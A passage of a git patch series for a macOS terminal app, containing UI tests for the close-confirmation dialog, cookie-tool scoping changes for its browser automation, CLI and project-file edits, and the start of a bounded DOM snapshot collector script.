testCloseShortcutCancelKeepsLaunchWindow() { + let app = launchWithRunningProcess() + closeAndCancel(app: app, window: app.windows.firstMatch, useNativeButton: false) + } + + func testRedButtonCancelKeepsNewWindow() { + let app = launchWithRunningProcess() + let newWindow = openNewWindowWithRunningProcess(app: app) + closeAndCancel(app: app, window: newWindow, useNativeButton: true) + } + + func testCloseShortcutCancelKeepsNewWindow() { + let app = launchWithRunningProcess() + let newWindow = openNewWindowWithRunningProcess(app: app) + closeAndCancel(app: app, window: newWindow, useNativeButton: false) + } + + // MARK: - Helpers + + private func launchWithRunningProcess() -> XCUIApplication { + let app = XCUIApplication() + app.launchEnvironment["PROGRAMA_TAG"] = "ui-tests-close-cancel-\(UUID().uuidString.prefix(8).lowercased())" + app.launch() + if !app.wait(for: .runningForeground, timeout: 12) { app.activate() } + XCTAssertTrue(app.wait(for: .runningForeground, timeout: 6)) + XCTAssertTrue(app.windows.firstMatch.waitForExistence(timeout: 5)) + startSleep(app: app) + return app + } + + private func openNewWindowWithRunningProcess(app: XCUIApplication) -> XCUIElement { + let before = app.windows.count + app.typeKey("n", modifierFlags: [.command, .shift]) + XCTAssertTrue(waitUntil { app.windows.count == before + 1 }, "New Window should add a window") + let newWindow = app.windows.firstMatch + startSleep(app: app) + return newWindow + } + + private func startSleep(app: XCUIApplication) { + app.typeText("sleep 100") + app.typeKey(.return, modifierFlags: []) + // Shell integration needs a moment to report the running command. + Thread.sleep(forTimeInterval: 1.5) + } + + private func closeAndCancel(app: XCUIApplication, window: XCUIElement, useNativeButton: Bool) { + let windowCount = app.windows.count + if useNativeButton { + window.buttons[XCUIIdentifierCloseWindow].click() + } else { + app.typeKey("w", modifierFlags: [.command, .control]) + } + + let cancel = app.dialogs.buttons["Cancel"].exists ? app.dialogs.buttons["Cancel"] : app.sheets.buttons["Cancel"] + let appeared = waitUntil { app.dialogs.buttons["Cancel"].exists || app.sheets.buttons["Cancel"].exists || app.alerts.buttons["Cancel"].exists } + XCTAssertTrue(appeared, "Closing a window with a running process must ask for confirmation") + XCTAssertEqual(app.staticTexts.matching(identifier: "Close window?").count, 1, "Exactly one dialog per close request") + + let target = cancel.exists ? cancel : app.alerts.buttons["Cancel"] + target.firstMatch.click() + + XCTAssertTrue(waitUntil { !app.dialogs.buttons["Cancel"].exists && !app.sheets.buttons["Cancel"].exists && !app.alerts.buttons["Cancel"].exists }) + Thread.sleep(forTimeInterval: 1.0) + XCTAssertEqual(app.windows.count, windowCount, "Cancel must keep the window") + XCTAssertFalse(app.dialogs.buttons["Cancel"].exists, "Cancel must not re-prompt") + + let attachment = XCTAttachment(screenshot: app.screenshot()) + attachment.name = "Window kept after Cancel" + attachment.lifetime = .keepAlways + add(attachment) + } + + private func waitUntil(_ condition: @escaping () -> Bool) -> Bool { + let expectation = XCTNSPredicateExpectation( + predicate: NSPredicate { _, _ in condition() }, object: NSObject() + ) + return XCTWaiter().wait(for: [expectation], timeout: 10) == .completed + } +} From 23f61a31b12a1eb86e685e0747d8f79bcefcc6d7 Mon Sep 17 00:00:00 2001 From: arzafran Date: Thu, 1 Oct 2026 12:27:14 -0300 Subject: [PATCH 07/21] fix: keep socket commands from stealing focus and tighten error contracts --- CLI-MCP/Tools/BrowserTools.swift | 18 +- CLI/CLI+Browser.swift | 16 +- CLI/CLI+Hooks.swift | 15 +- CLI/V2MethodNames.swift | 1 + GhosttyTabs.xcodeproj/project.pbxproj | 12 + Resources/Localizable.xcstrings | 17 + Resources/programa-browser-snapshot.js | 699 ++++++++++++ Sources/AgentSupervision.swift | 19 + Sources/TerminalController+AgentPrompt.swift | 33 +- .../TerminalController+AgentSupervision.swift | 4 + ...TerminalController+BrowserAutomation.swift | 1015 ++++------------- Sources/TerminalController+Layout.swift | 6 +- Sources/TerminalController+Notification.swift | 14 +- Sources/TerminalController+Pane.swift | 5 +- .../TerminalController+SocketContext.swift | 160 +++ Sources/TerminalController+Surface.swift | 80 +- Sources/TerminalController+SurfaceWait.swift | 49 +- Sources/TerminalController+System.swift | 3 +- Sources/TerminalController+Telemetry.swift | 4 + Sources/TerminalController+Workspace.swift | 23 +- Sources/TerminalController.swift | 132 ++- Sources/V2CommandCatalog.swift | 7 +- contracts/v2/methods.json | 132 ++- programaTests/SocketFixSweepSOCKTests.swift | 192 ++++ tests_v2/ci_subset.txt | 7 + .../test_browser_wait_function_page_world.py | 68 ++ .../test_layout_save_targets_workspace_id.py | 77 ++ tests_v2/test_socket_error_contract_sweep.py | 109 ++ .../test_socket_limits_and_focus_sweep.py | 102 ++ ...urface_resolve_tty_and_agent_spawn_pane.py | 110 ++ tests_v2/test_surface_wait_exit_on_close.py | 74 ++ ...pended_subscriber_does_not_block_server.py | 93 ++ 32 files changed, 2330 insertions(+), 966 deletions(-) create mode 100644 Resources/programa-browser-snapshot.js create mode 100644 Sources/TerminalController+SocketContext.swift create mode 100644 programaTests/SocketFixSweepSOCKTests.swift create mode 100644 tests_v2/test_browser_wait_function_page_world.py create mode 100644 tests_v2/test_layout_save_targets_workspace_id.py create mode 100644 tests_v2/test_socket_error_contract_sweep.py create mode 100644 tests_v2/test_socket_limits_and_focus_sweep.py create mode 100644 tests_v2/test_surface_resolve_tty_and_agent_spawn_pane.py create mode 100644 tests_v2/test_surface_wait_exit_on_close.py create mode 100644 tests_v2/test_suspended_subscriber_does_not_block_server.py diff --git a/CLI-MCP/Tools/BrowserTools.swift b/CLI-MCP/Tools/BrowserTools.swift index fe462aec4..8cd689717 100644 --- a/CLI-MCP/Tools/BrowserTools.swift +++ b/CLI-MCP/Tools/BrowserTools.swift @@ -764,11 +764,12 @@ enum BrowserTools { ProgramaTool( name: "browser_cookies_get", socketMethod: V2MethodNames.browserCookiesGet, - description: "Returns cookies from the surface's cookie store, optionally filtered by name, domain (substring match), or exact path.", + description: "Returns the current page's site cookies (all_domains widens to every site), optionally filtered by name, domain (exact host or subdomain), or exact path.", inputSchema: ProgramaToolSchema.object(properties: [ "name": ProgramaToolSchema.string("Filter to cookies with this exact name."), - "domain": ProgramaToolSchema.string("Filter to cookies whose domain contains this substring."), + "domain": ProgramaToolSchema.string("Filter to cookies for this host or its subdomains (example.com matches a.example.com, not notexample.com)."), "path": ProgramaToolSchema.string("Filter to cookies with this exact path."), + "all_domains": ProgramaToolSchema.boolean("Include cookies for every site in the browser profile instead of only the current page's site. Default false."), "surface_id": surfaceIdProperty(), "window_id": ProgramaToolSchema.windowIdProperty, "workspace_id": ProgramaToolSchema.workspaceIdProperty, @@ -777,15 +778,17 @@ enum BrowserTools { ProgramaTool( name: "browser_cookies_set", socketMethod: V2MethodNames.browserCookiesSet, - description: "Sets one or more cookies on the surface's cookie store. Provide either a cookies array of cookie objects, or the single-cookie fields (name/value/url/domain/path/secure/expires) directly. domain/url default to the surface's current page when omitted.", + description: "Sets one or more cookies on the surface's cookie store. Provide either a cookies array of cookie objects, or the single-cookie fields (name/value/url/domain/path/secure/http_only/same_site/expires) directly. domain/url default to the surface's current page when omitted.", inputSchema: ProgramaToolSchema.object(properties: [ - "cookies": ["type": "array", "items": ["type": "object"], "description": .string("Array of cookie objects, each with name/value and optionally url/domain/path/secure/expires.")], + "cookies": ["type": "array", "items": ["type": "object"], "description": .string("Array of cookie objects, each with name/value and optionally url/domain/path/secure/http_only/same_site/expires.")], "name": ProgramaToolSchema.string("Cookie name, for setting a single cookie."), "value": ProgramaToolSchema.string("Cookie value, for setting a single cookie."), "url": ProgramaToolSchema.string("Cookie origin URL, for setting a single cookie. Defaults to the surface's current page."), "domain": ProgramaToolSchema.string("Cookie domain, for setting a single cookie. Defaults to the current page's host."), "path": ProgramaToolSchema.string("Cookie path, for setting a single cookie. Defaults to '/'."), "secure": ProgramaToolSchema.boolean("Mark the cookie Secure, for setting a single cookie."), + "http_only": ProgramaToolSchema.boolean("Mark the cookie HttpOnly, for setting a single cookie."), + "same_site": ProgramaToolSchema.stringEnum("SameSite policy, for setting a single cookie.", ["lax", "strict"]), "expires": ProgramaToolSchema.integer("Expiration as a Unix timestamp (seconds), for setting a single cookie. Omit for a session cookie."), "surface_id": surfaceIdProperty(), "window_id": ProgramaToolSchema.windowIdProperty, @@ -795,11 +798,12 @@ enum BrowserTools { ProgramaTool( name: "browser_cookies_clear", socketMethod: V2MethodNames.browserCookiesClear, - description: "Removes cookies from the surface's cookie store, optionally filtered by name or domain (substring match). Clears every cookie when no filter and no 'all' flag is given.", + description: "Removes the current page's site cookies (all_domains widens to every site), optionally filtered by name, domain (exact host or subdomain), or exact path. With no filter it clears the current site only.", inputSchema: ProgramaToolSchema.object(properties: [ "name": ProgramaToolSchema.string("Only clear cookies with this exact name."), - "domain": ProgramaToolSchema.string("Only clear cookies whose domain contains this substring."), - "all": ProgramaToolSchema.boolean("Explicitly clear every cookie (same effect as omitting name and domain)."), + "domain": ProgramaToolSchema.string("Only clear cookies for this host or its subdomains (example.com matches a.example.com, not notexample.com)."), + "path": ProgramaToolSchema.string("Only clear cookies with this exact path."), + "all_domains": ProgramaToolSchema.boolean("Clear cookies for every site in the browser profile instead of only the current page's site. Default false."), "surface_id": surfaceIdProperty(), "window_id": ProgramaToolSchema.windowIdProperty, "workspace_id": ProgramaToolSchema.workspaceIdProperty, diff --git a/CLI/CLI+Browser.swift b/CLI/CLI+Browser.swift index 6feac3557..5c528abe6 100644 --- a/CLI/CLI+Browser.swift +++ b/CLI/CLI+Browser.swift @@ -1009,7 +1009,8 @@ extension ProgramaCLI { let (urlOpt, rem3) = parseOption(rem2, name: "--url") let (domainOpt, rem4) = parseOption(rem3, name: "--domain") let (pathOpt, rem5) = parseOption(rem4, name: "--path") - let (expiresOpt, _) = parseOption(rem5, name: "--expires") + let (expiresOpt, rem6) = parseOption(rem5, name: "--expires") + let (sameSiteOpt, rem7) = parseOption(rem6, name: "--same-site") var params: [String: Any] = ["surface_id": sid] if let nameOpt { params["name"] = nameOpt } @@ -1020,8 +1021,13 @@ extension ProgramaCLI { if hasFlag(cookieArgs, name: "--secure") { params["secure"] = true } - if hasFlag(cookieArgs, name: "--all") { - params["all"] = true + if hasFlag(cookieArgs, name: "--http-only") { + params["http_only"] = true + } + if let sameSiteOpt { params["same_site"] = sameSiteOpt.lowercased() } + // get/clear default to the current page's site; --all-domains (alias --all) widens. + if hasFlag(cookieArgs, name: "--all-domains") || hasFlag(cookieArgs, name: "--all") { + params["all_domains"] = true } if let expiresOpt { guard let expires = Int(expiresOpt) else { @@ -1036,7 +1042,7 @@ extension ProgramaCLI { output(payload, fallback: "OK") case "set": var setParams = params - let positional = nonFlagArgs(cookieArgs) + let positional = nonFlagArgs(rem7) if setParams["name"] == nil, positional.count >= 1 { setParams["name"] = positional[0] } @@ -1278,7 +1284,7 @@ extension ProgramaCLI { frame [--selector ] dialog [text] download [wait] [--path ] [--timeout-ms |--timeout ] - cookies [--name ] [--value ] [--url ] [--domain ] [--path ] [--expires ] [--secure] [--all] + cookies [--name ] [--value ] [--url ] [--domain ] [--path ] [--expires ] [--secure] [--http-only] [--same-site ] [--all-domains] storage [...] tab > [...] console diff --git a/CLI/CLI+Hooks.swift b/CLI/CLI+Hooks.swift index 1172a8121..34226398b 100644 --- a/CLI/CLI+Hooks.swift +++ b/CLI/CLI+Hooks.swift @@ -1227,19 +1227,12 @@ extension ProgramaCLI { guard let ttyName = resolveCallerTTYName() else { return nil } - guard let payload = try? client.sendV2(method: V2MethodNames.debugTerminals) else { + guard let payload = try? client.sendV2(method: V2MethodNames.surfaceResolveTty, params: ["tty": ttyName]), + let workspaceId = normalizedHandleValue(payload["workspace_id"] as? String), + let surfaceId = normalizedHandleValue(payload["surface_id"] as? String) else { return nil } - let terminals = payload["terminals"] as? [[String: Any]] ?? [] - for terminal in terminals { - guard normalizedTTYName(terminal["tty"] as? String) == ttyName, - let workspaceId = normalizedHandleValue(terminal["workspace_id"] as? String), - let surfaceId = normalizedHandleValue(terminal["surface_id"] as? String) else { - continue - } - return CallerTerminalBinding(workspaceId: workspaceId, surfaceId: surfaceId) - } - return nil + return CallerTerminalBinding(workspaceId: workspaceId, surfaceId: surfaceId) } private func resolveCallerTTYName() -> String? { diff --git a/CLI/V2MethodNames.swift b/CLI/V2MethodNames.swift index de35f8771..1362e3582 100644 --- a/CLI/V2MethodNames.swift +++ b/CLI/V2MethodNames.swift @@ -188,6 +188,7 @@ enum V2MethodNames { static let surfaceReportPwd = "surface.report_pwd" static let surfaceReportShellState = "surface.report_shell_state" static let surfaceReportTty = "surface.report_tty" + static let surfaceResolveTty = "surface.resolve_tty" static let surfaceSendKey = "surface.send_key" static let surfaceSendText = "surface.send_text" static let surfaceSplit = "surface.split" diff --git a/GhosttyTabs.xcodeproj/project.pbxproj b/GhosttyTabs.xcodeproj/project.pbxproj index cf966b134..ec0236efa 100644 --- a/GhosttyTabs.xcodeproj/project.pbxproj +++ b/GhosttyTabs.xcodeproj/project.pbxproj @@ -121,6 +121,7 @@ NRTC0014 /* TerminalController+Workspace.swift in Sources */ = {isa = PBXBuildFile; fileRef = NRTC0004 /* TerminalController+Workspace.swift */; }; WTMG000003 /* TerminalController+Worktree.swift in Sources */ = {isa = PBXBuildFile; fileRef = WTMG000004 /* TerminalController+Worktree.swift */; }; WTMG000007 /* TerminalController+Layout.swift in Sources */ = {isa = PBXBuildFile; fileRef = WTMG000008 /* TerminalController+Layout.swift */; }; + ACED00000000000000000003 /* TerminalController+SocketContext.swift in Sources */ = {isa = PBXBuildFile; fileRef = ACED00000000000000000004 /* TerminalController+SocketContext.swift */; }; SNAP000001 /* TerminalController+Snapshot.swift in Sources */ = {isa = PBXBuildFile; fileRef = SNAP000002 /* TerminalController+Snapshot.swift */; }; NRTC0015 /* TerminalController+Surface.swift in Sources */ = {isa = PBXBuildFile; fileRef = NRTC0005 /* TerminalController+Surface.swift */; }; NRTC0016 /* TerminalController+Pane.swift in Sources */ = {isa = PBXBuildFile; fileRef = NRTC0006 /* TerminalController+Pane.swift */; }; @@ -298,6 +299,7 @@ F3000000A1B2C3D4E5F60718 /* CJKIMEInputTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = F3000001A1B2C3D4E5F60718 /* CJKIMEInputTests.swift */; }; F4000000A1B2C3D4E5F60718 /* GhosttyConfigTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = F4000001A1B2C3D4E5F60718 /* GhosttyConfigTests.swift */; }; F5000000A1B2C3D4E5F60718 /* SessionPersistenceTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = F5000001A1B2C3D4E5F60718 /* SessionPersistenceTests.swift */; }; + BEEF5030000000000000000A /* SocketFixSweepSOCKTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = BEEF5030000000000000000B /* SocketFixSweepSOCKTests.swift */; }; RRPL0002A1B2C3D4E5F60718 /* RendererRealizationPlannerTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = RRPL0001A1B2C3D4E5F60718 /* RendererRealizationPlannerTests.swift */; }; 3C03A46E60CFD11D198C9504 /* SessionAutosaveCoordinatorTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = D3F772E2747D24AE2FAAC541 /* SessionAutosaveCoordinatorTests.swift */; }; SWCT000001A1B2C3D4E5F607 /* SessionWALCoreTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = SWCT000002A1B2C3D4E5F607 /* SessionWALCoreTests.swift */; }; @@ -315,6 +317,7 @@ DA7A10CA710E000000000003 /* Localizable.xcstrings in Resources */ = {isa = PBXBuildFile; fileRef = DA7A10CA710E000000000001 /* Localizable.xcstrings */; }; DA7A10CA710E000000000004 /* InfoPlist.xcstrings in Resources */ = {isa = PBXBuildFile; fileRef = DA7A10CA710E000000000002 /* InfoPlist.xcstrings */; }; MRMD000003 /* mermaid.min.js in Resources */ = {isa = PBXBuildFile; fileRef = MRMD000004 /* mermaid.min.js */; }; + ACED00000000000000000001 /* programa-browser-snapshot.js in Resources */ = {isa = PBXBuildFile; fileRef = ACED00000000000000000002 /* programa-browser-snapshot.js */; }; E12E88F82733EC42F32C36A3 /* BrowserConfigTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = 970226F3C99D0D937CD00539 /* BrowserConfigTests.swift */; }; 1F14445B9627DE9D3AF4FD2E /* BrowserPanelTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = 58C7B1B978620BE162CC057E /* BrowserPanelTests.swift */; }; 46F6AC15863EC84DCD3770A2 /* TerminalAndGhosttyTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = 02FC74F2C27127CC565B3E8C /* TerminalAndGhosttyTests.swift */; }; @@ -539,6 +542,7 @@ NRTC0004 /* TerminalController+Workspace.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = "TerminalController+Workspace.swift"; sourceTree = ""; }; WTMG000004 /* TerminalController+Worktree.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = "TerminalController+Worktree.swift"; sourceTree = ""; }; WTMG000008 /* TerminalController+Layout.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = "TerminalController+Layout.swift"; sourceTree = ""; }; + ACED00000000000000000004 /* TerminalController+SocketContext.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = "TerminalController+SocketContext.swift"; sourceTree = ""; }; SNAP000002 /* TerminalController+Snapshot.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = "TerminalController+Snapshot.swift"; sourceTree = ""; }; NRTC0005 /* TerminalController+Surface.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = "TerminalController+Surface.swift"; sourceTree = ""; }; NRTC0006 /* TerminalController+Pane.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = "TerminalController+Pane.swift"; sourceTree = ""; }; @@ -708,6 +712,7 @@ F3000001A1B2C3D4E5F60718 /* CJKIMEInputTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = CJKIMEInputTests.swift; sourceTree = ""; }; F4000001A1B2C3D4E5F60718 /* GhosttyConfigTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = GhosttyConfigTests.swift; sourceTree = ""; }; F5000001A1B2C3D4E5F60718 /* SessionPersistenceTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SessionPersistenceTests.swift; sourceTree = ""; }; + BEEF5030000000000000000B /* SocketFixSweepSOCKTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SocketFixSweepSOCKTests.swift; sourceTree = ""; }; RRPL0001A1B2C3D4E5F60718 /* RendererRealizationPlannerTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = RendererRealizationPlannerTests.swift; sourceTree = ""; }; D3F772E2747D24AE2FAAC541 /* SessionAutosaveCoordinatorTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SessionAutosaveCoordinatorTests.swift; sourceTree = ""; }; SWCT000002A1B2C3D4E5F607 /* SessionWALCoreTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SessionWALCoreTests.swift; sourceTree = ""; }; @@ -725,6 +730,7 @@ DA7A10CA710E000000000001 /* Localizable.xcstrings */ = {isa = PBXFileReference; lastKnownFileType = text.json.xcstrings; path = Localizable.xcstrings; sourceTree = ""; }; DA7A10CA710E000000000002 /* InfoPlist.xcstrings */ = {isa = PBXFileReference; lastKnownFileType = text.json.xcstrings; path = InfoPlist.xcstrings; sourceTree = ""; }; MRMD000004 /* mermaid.min.js */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.javascript; path = mermaid.min.js; sourceTree = ""; }; + ACED00000000000000000002 /* programa-browser-snapshot.js */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.javascript; path = "programa-browser-snapshot.js"; sourceTree = ""; }; 970226F3C99D0D937CD00539 /* BrowserConfigTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = BrowserConfigTests.swift; sourceTree = ""; }; 58C7B1B978620BE162CC057E /* BrowserPanelTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = BrowserPanelTests.swift; sourceTree = ""; }; 02FC74F2C27127CC565B3E8C /* TerminalAndGhosttyTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = TerminalAndGhosttyTests.swift; sourceTree = ""; }; @@ -814,6 +820,7 @@ DA7A10CA710E000000000003 /* Localizable.xcstrings in Resources */, DA7A10CA710E000000000004 /* InfoPlist.xcstrings in Resources */, MRMD000003 /* mermaid.min.js in Resources */, + ACED00000000000000000001 /* programa-browser-snapshot.js in Resources */, ); runOnlyForDeploymentPostprocessing = 0; }; @@ -1003,6 +1010,7 @@ AGRP0002A1B2C3D4E5F60719 /* AgentRPCDispatcher.swift */, WTMG000004 /* TerminalController+Worktree.swift */, WTMG000008 /* TerminalController+Layout.swift */, + ACED00000000000000000004 /* TerminalController+SocketContext.swift */, SNAP000002 /* TerminalController+Snapshot.swift */, NRTC0005 /* TerminalController+Surface.swift */, NRTC0006 /* TerminalController+Pane.swift */, @@ -1183,6 +1191,7 @@ DA7A10CA710E000000000001 /* Localizable.xcstrings */, DA7A10CA710E000000000002 /* InfoPlist.xcstrings */, MRMD000004 /* mermaid.min.js */, + ACED00000000000000000002 /* programa-browser-snapshot.js */, ); path = Resources; sourceTree = ""; @@ -1230,6 +1239,7 @@ F3000001A1B2C3D4E5F60718 /* CJKIMEInputTests.swift */, F4000001A1B2C3D4E5F60718 /* GhosttyConfigTests.swift */, F5000001A1B2C3D4E5F60718 /* SessionPersistenceTests.swift */, + BEEF5030000000000000000B /* SocketFixSweepSOCKTests.swift */, RRPL0001A1B2C3D4E5F60718 /* RendererRealizationPlannerTests.swift */, D3F772E2747D24AE2FAAC541 /* SessionAutosaveCoordinatorTests.swift */, SWCT000002A1B2C3D4E5F607 /* SessionWALCoreTests.swift */, @@ -1559,6 +1569,7 @@ AGRP0001A1B2C3D4E5F60719 /* AgentRPCDispatcher.swift in Sources */, WTMG000003 /* TerminalController+Worktree.swift in Sources */, WTMG000007 /* TerminalController+Layout.swift in Sources */, + ACED00000000000000000003 /* TerminalController+SocketContext.swift in Sources */, SNAP000001 /* TerminalController+Snapshot.swift in Sources */, NRTC0015 /* TerminalController+Surface.swift in Sources */, NRTC0016 /* TerminalController+Pane.swift in Sources */, @@ -1695,6 +1706,7 @@ F3000000A1B2C3D4E5F60718 /* CJKIMEInputTests.swift in Sources */, F4000000A1B2C3D4E5F60718 /* GhosttyConfigTests.swift in Sources */, F5000000A1B2C3D4E5F60718 /* SessionPersistenceTests.swift in Sources */, + BEEF5030000000000000000A /* SocketFixSweepSOCKTests.swift in Sources */, RRPL0002A1B2C3D4E5F60718 /* RendererRealizationPlannerTests.swift in Sources */, 3C03A46E60CFD11D198C9504 /* SessionAutosaveCoordinatorTests.swift in Sources */, SWCT000001A1B2C3D4E5F607 /* SessionWALCoreTests.swift in Sources */, diff --git a/Resources/Localizable.xcstrings b/Resources/Localizable.xcstrings index c05bcb9b5..59cb77ac9 100644 --- a/Resources/Localizable.xcstrings +++ b/Resources/Localizable.xcstrings @@ -15947,6 +15947,23 @@ } } }, + "sock.notification.defaultTitle": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Notification" + } + }, + "ja": { + "stringUnit": { + "state": "translated", + "value": "通知" + } + } + } + }, "socketControl.allowAll.description": { "extractionState": "manual", "localizations": { diff --git a/Resources/programa-browser-snapshot.js b/Resources/programa-browser-snapshot.js new file mode 100644 index 000000000..4eea8157a --- /dev/null +++ b/Resources/programa-browser-snapshot.js @@ -0,0 +1,699 @@ +// Body of the browser.snapshot collector. TerminalController.v2BrowserSnapshotJavaScript +// wraps it in an IIFE that first declares the __interactiveOnly ... __nonContentTextTags +// constants, so this file must not redeclare them. + + const __byteWidth = (codePoint) => codePoint <= 0x7f ? 1 : codePoint <= 0x7ff ? 2 : codePoint <= 0xffff ? 3 : 4; + const __boundedUTF8 = (input, limit, normalizeWhitespace = false) => { + const source = String(input == null ? '' : input); + let value = ''; + let bytes = 0; + let truncated = false; + let pendingSpace = false; + let inspected = 0; + for (const character of source) { + inspected += 1; + if (normalizeWhitespace && inspected > (limit * 4 + 256)) { + truncated = true; + break; + } + if (normalizeWhitespace && /\s/u.test(character)) { + if (value) pendingSpace = true; + continue; + } + const width = __byteWidth(character.codePointAt(0)); + const spaceWidth = pendingSpace ? 1 : 0; + if (bytes + spaceWidth + width > limit) { + truncated = true; + break; + } + if (pendingSpace) { + value += ' '; + bytes += 1; + pendingSpace = false; + } + value += character; + bytes += width; + } + return { value, bytes, truncated }; + }; + const __htmlLocalName = (element, byteLimit = 64) => { + if (!element || element.namespaceURI !== __htmlNamespace) return null; + const bounded = __boundedUTF8(element.localName || '', byteLimit); + if (!bounded.value || bounded.truncated) return null; + return bounded.value.toLowerCase(); + }; + + const __title = __boundedUTF8(document.title || '', __titleByteLimit); + const __url = __boundedUTF8(document.location?.href || '', __urlByteLimit); + if (__title.truncated) __reasons.add('title_byte_limit'); + if (__url.truncated) __reasons.add('url_byte_limit'); + + let __root = document.body || document.documentElement; + let __scoped = false; + if (__scopeSelector) { + try { + const boundedScope = __boundedUTF8(__scopeSelector, __selectorByteLimit); + if (!boundedScope.truncated && boundedScope.value) { + const scopedRoot = document.querySelector(boundedScope.value); + if (scopedRoot) { + __root = scopedRoot; + __scoped = true; + } + } + } catch (_) {} + } + const __serializationRoot = __scoped ? __root : (document.documentElement || __root); + const __entries = []; + const __seenSelectors = new Set(); + const __pathByElement = new WeakMap(); + const __elementChildrenSeenByParent = new WeakMap(); + let __entryBytes = 0; + let __visitedNodes = 0; + let __workNodes = 0; + let __nodeBudgetExhausted = false; + let __selectorSkippedCount = 0; + let __nameTruncatedCount = 0; + let __roleSkippedCount = 0; + let __stop = false; + let __scopeDepth = __scoped ? 0 : null; + let __scopeActive = __scoped; + + const __chargeNodeWork = () => { + if (__workNodes >= __nodeLimit) { + __nodeBudgetExhausted = true; + __reasons.add('node_limit'); + return false; + } + __workNodes += 1; + return true; + }; + + let __text = ''; + let __textTruncated = false; + let __textInspectedUnits = 0; + let __textInspectionExhausted = false; + let __textAuthoredWhitespace = false; + let __textSeparatorRequested = false; + let __textOutputStopped = false; + const __markTextInspectionExhausted = () => { + __textInspectionExhausted = true; + __textTruncated = true; + __reasons.add('text_inspection_limit'); + }; + const __inspectTextSource = (value, consume) => { + if (__textInspectionExhausted || value == null) return { truncated: __textInspectionExhausted, stopped: false }; + const source = String(value); + let index = 0; + while (index < source.length) { + const codePoint = source.codePointAt(index); + const character = String.fromCodePoint(codePoint); + const units = character.length; + if (__textInspectedUnits > __textInspectionLimit - units) { + __markTextInspectionExhausted(); + return { truncated: true, stopped: false }; + } + __textInspectedUnits += units; + index += units; + if (consume(character) === false) return { truncated: false, stopped: true }; + } + return { truncated: false, stopped: false }; + }; + const __requestTextSeparator = () => { + if (__text) __textSeparatorRequested = true; + }; + const __appendText = (value) => { + if (__textOutputStopped || __textInspectionExhausted || !value) return; + __inspectTextSource(value, (character) => { + if (/\s/u.test(character)) { + if (__text) __textAuthoredWhitespace = true; + return true; + } + const needsSpace = __text && (__textAuthoredWhitespace || __textSeparatorRequested); + const required = character.length + (needsSpace ? 1 : 0); + if (__text.length > __textLimit - required) { + __textTruncated = true; + __textOutputStopped = true; + return false; + } + if (needsSpace) __text += ' '; + __text += character; + __textAuthoredWhitespace = false; + __textSeparatorRequested = false; + return true; + }); + }; + + let __html = ''; + let __htmlTruncated = false; + let __htmlStopped = false; + let __attributeCount = 0; + const __appendHTML = (value) => { + if (__htmlStopped || !value) return; + const remaining = __htmlLimit - __html.length; + if (remaining <= 0) { __htmlTruncated = true; __htmlStopped = true; return; } + const source = String(value); + __html += source.slice(0, remaining); + if (source.length > remaining) { __htmlTruncated = true; __htmlStopped = true; } + }; + const __appendEscapedHTML = (value, attribute) => { + if (__htmlStopped) return; + const source = String(value == null ? '' : value); + const remaining = Math.max(0, __htmlLimit - __html.length); + const probe = source.slice(0, remaining + 1); + const needsEscaping = attribute ? /[&<>"]/u.test(probe) : /[&<>]/u.test(probe); + if (!needsEscaping) { + __appendHTML(source); + return; + } + for (const character of source) { + let escaped = character; + if (character === '&') escaped = '&'; + else if (character === '<') escaped = '<'; + else if (character === '>') escaped = '>'; + else if (attribute && character === '"') escaped = '"'; + __appendHTML(escaped); + if (__htmlStopped) return; + } + }; + const __appendBoundedHTMLName = (rawName, lowercase) => { + if (__htmlStopped) return; + const remaining = __htmlLimit - __html.length; + if (remaining <= 0) { __htmlTruncated = true; __htmlStopped = true; return; } + const source = String(rawName || ''); + const boundedSource = source.slice(0, remaining + 1); + __appendHTML(lowercase ? boundedSource.toLowerCase() : boundedSource); + if (!__htmlStopped && source.length > boundedSource.length) { + __htmlTruncated = true; + __htmlStopped = true; + } + }; + const __descriptorByElement = new WeakMap(); + const __elementDescriptor = (element) => { + const cached = __descriptorByElement.get(element); + if (cached) return cached; + const isHTML = element.namespaceURI === __htmlNamespace; + const local = __boundedUTF8(element.localName || '', 64); + const descriptor = { + isHTML, + semanticLocal: isHTML && !local.truncated ? local.value.toLowerCase() : null, + prefix: element.prefix || '', + localName: element.localName || '' + }; + __descriptorByElement.set(element, descriptor); + return descriptor; + }; + const __appendElementName = (element) => { + const descriptor = __elementDescriptor(element); + if (descriptor.prefix) { + __appendBoundedHTMLName(descriptor.prefix, false); + __appendHTML(':'); + } + __appendBoundedHTMLName(descriptor.localName, descriptor.isHTML); + }; + const __appendAttributeName = (attribute) => { + if (attribute.prefix) { + __appendBoundedHTMLName(attribute.prefix, false); + __appendHTML(':'); + 